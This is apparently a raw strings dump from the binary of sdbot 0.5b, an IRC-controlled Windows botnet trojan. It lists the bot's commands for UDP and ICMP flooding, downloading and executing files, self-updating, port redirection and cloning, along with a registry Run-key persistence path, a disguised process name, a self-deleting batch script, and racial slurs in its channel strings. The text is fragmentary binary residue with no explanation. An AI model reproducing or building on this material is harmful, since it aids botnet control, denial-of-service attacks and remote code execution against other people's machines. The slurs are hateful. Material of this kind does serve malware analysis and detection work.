!This program cannot be run in DOS mode. .text .data .idata 
ICMP.DLL IcmpCreateFile IcmpCloseHandle IcmpSendEcho
kernel32.dll RegisterServiceProcess CreateToolhelp32Snapshot Process32First Process32
Next Mozilla/4.0 (compatible) 
WININET.DLL InternetGetConnectedState InternetGetConnectedStateEx 
Software\Microsoft\Windows\CurrentVersion\Run

main thread 
mode $chan +o 
$user action 
$chan smacks 
$1 smack udp 
$1 10000 2048 50 ping 
$1 10000 
$2 50 raw PRIVMSG 
$1 :$chr(1)$2-$chr(1) bot started.
 j?hCv@ $j?hIv@ j?hgv@ j?hCv@ j?hIv@ 
[%d-%d-%d %d:%d:%d] %s 
connected to %s. %d, %d : 
USERID : UNIX : %s 
NICK %s 
USER %s 0 0 :%s 
JOIN %s %s 
USERHOST %s 
screw you %s! 
user %s logged out. 
NOTICE %s :%s 
PRIVMSG NOTICE 
VERSION NOTICE %s : 
VERSION %s 
login user %s(%s) 
logged in. password accepted. 
$user 
$chan 
$rndnick 
$server 
$chr( rndnick NICK %s logout user %s logged out. reconnect 
QUIT :reconnecting disconnect 
QUIT :later 
QUIT :%s 
QUIT :later 

status
 sdbot 0.5b ready. Up %dd %dh %dm. 
about 
 sdbot 0.5b by [sd] (sdbot@mail.ru). 
homepage: http://sdbot.n3.net/ 

threads 
-[thread list]- %d. %s 
aliases -[alias list]- %d. %s = %s 
netinfo 
sysinfo 
remove
 
PART %s 


killthread thread(s) killed. 
c_quit 
c_rndnick 

NICK %s prefix file opened. 
couldn't open file. 


server %s -> %s couldn't resolve host 
visit 
addalias 

privmsg action 
ACTION %s cycle 
MODE %s repeat 

c_raw c_mode 

MODE %s c_nick
 c_join JOIN %s %s 
c_part PART %s %s %s %s :%s 

delay update %s\%s.exe update (%s) downloading update from %s... 
execute couldn't execute file. 
clone clone (%s) clone created on %s:%d, in channel %s. 
download download (%s) downloading %s... 
redirect redirect (%d->%s:%d) redirect created on port %d to %s:%d. 
c_privmsg [%s] <%s> %s c_action [%s] * %s %s udp (%s) sending %d udp packets to: %s. packet size: %d, delay: %d[ms]. 
ping (%s) sending %d pings to %s. packet size: %d, timeout: %d[ms] icmp.dll not available 
spy (%s) spy created on %s:%d, in channel %s. removing bot... joined channel %s. 

PONG %s  

h2"@ 
XZh2"@ 
Phg"@ 
Whu"@ 
Rh2v@ 
tAh4"@ 
$h'#@ 
ShK#@ 
Phe#@ 
$h>%@ 
(Sh{&@ 
Sh0g@ 
Vh%'@ 
Vh0g@ 
Vh\a@ 
Phu"@ 
@Ph#)@ 

ACTION ACTION 
[%s]: * %s %s 
[%s]: <%s> %s 
[%s]: %s sets mode: %s 
[%s]: %s is now known as %s. 
[%s]: %s has quit(%s). wtf %s? 
[%s]: %s has left %s. 
[%s]: %s has joined %s. 
[%s]: nick %s already in use. 
[%s]: Users in %s: %s u$h/X@ u$hLX@ PhcX@ B@RPRh @Ph#)@ %s %s :%s %s%s%s Phx_@ 

PRIVMSG %s :finished sending packets to %s. 
PRIVMSG %s :error sending packets to %s. Ph0a@ PRIVMSG %s :finished sending pings to %s. 
PRIVMSG %s :error sending pings to %s. file download (%s - %dkb transferred) downloaded %.1f kb to %s @ %.1f kb/sec. 
PRIVMSG %s :opened %s. downloaded %.1f kb to %s @ %.1f kb/sec. updating... update failed: error executing file. 
update (%s - %dkb transferred) PRIVMSG %s :couldn't open %s. bad url, or dns error. 

WhP%@ 
$hPf@ 
dial-up connection type: %s (%s). 
local IP address: %d.%d.%d.%d. 
connected from: %s 
cpu: %dMHz. ram: %dKB total, %dKB free. os: Windows %s (%d.%d, build %d). uptime: %dd %dh %dm 
%s [%s] 

WVSPP invalid URL. 
url visited. error 
visiting URL. %s\r.bat 
@echo off :start 
if not exist ""%1"" goto done 
del /F ""%1"" del ""%1"" 
goto start :done del /F %temp% 
del %temp% %%comspec%% /c %s %s 



jihpt@ nigga2 exploitlabs.com #0sec nigger exploitlabs.com 
#whore nigger 

Proc32.exe 
Critical Process Monitor 
mIRC v6.03 Khaled Mardam-Bey 



<"tx
< tf<	t 
< tV
<	t < tJ
<	tF 
-LIBGCCW32-EH-SJLJ-GTHR-MINGW32
 RegCloseKey 
RegCreateKeyExA 
RegDeleteValueA 
RegSetValueExA 

AddAtomA 
CloseHandle 
CopyFileA 
CreateFileA 
CreateProcessA 
CreateThread 
ExitProcess ExpandEnvironmentStringsA FindAtomA GetAtomNameA GetCommandLineA GetLocalTime 
GetModuleFileNameA GetModuleHandleA GetProcAddress GetStartupInfoA GetSystemDirectoryA 
GetTempPathA GetTickCount GetVersionExA GlobalMemoryStatus LoadLibraryA SetUnhandledExceptionFilter 
Sleep TerminateThread WriteFile __getmainargs __p__environ __p__fmode __set_app_type 
_cexit _fileno _onexit _setmode abort atexit malloc signal sprintf srand strcat 
strchr strcmp strncmp strncpy strstr strtok ShellExecuteA HttpOpenRequestA HttpSendRequestA 
InternetCloseHandle InternetConnectA InternetCrackUrlA InternetOpenA InternetOpenUrlA 
InternetReadFile WSAAsyncSelect WSACleanup WSAStartup accept closesocket connect 
gethostbyaddr gethostbyname getsockname htons inet_addr inet_ntoa listen sendto 
socket ADVAPI32.DLL KERNEL32.dll msvcrt.dll SHELL32.DLL WININET.DLL WSOCK32.DLL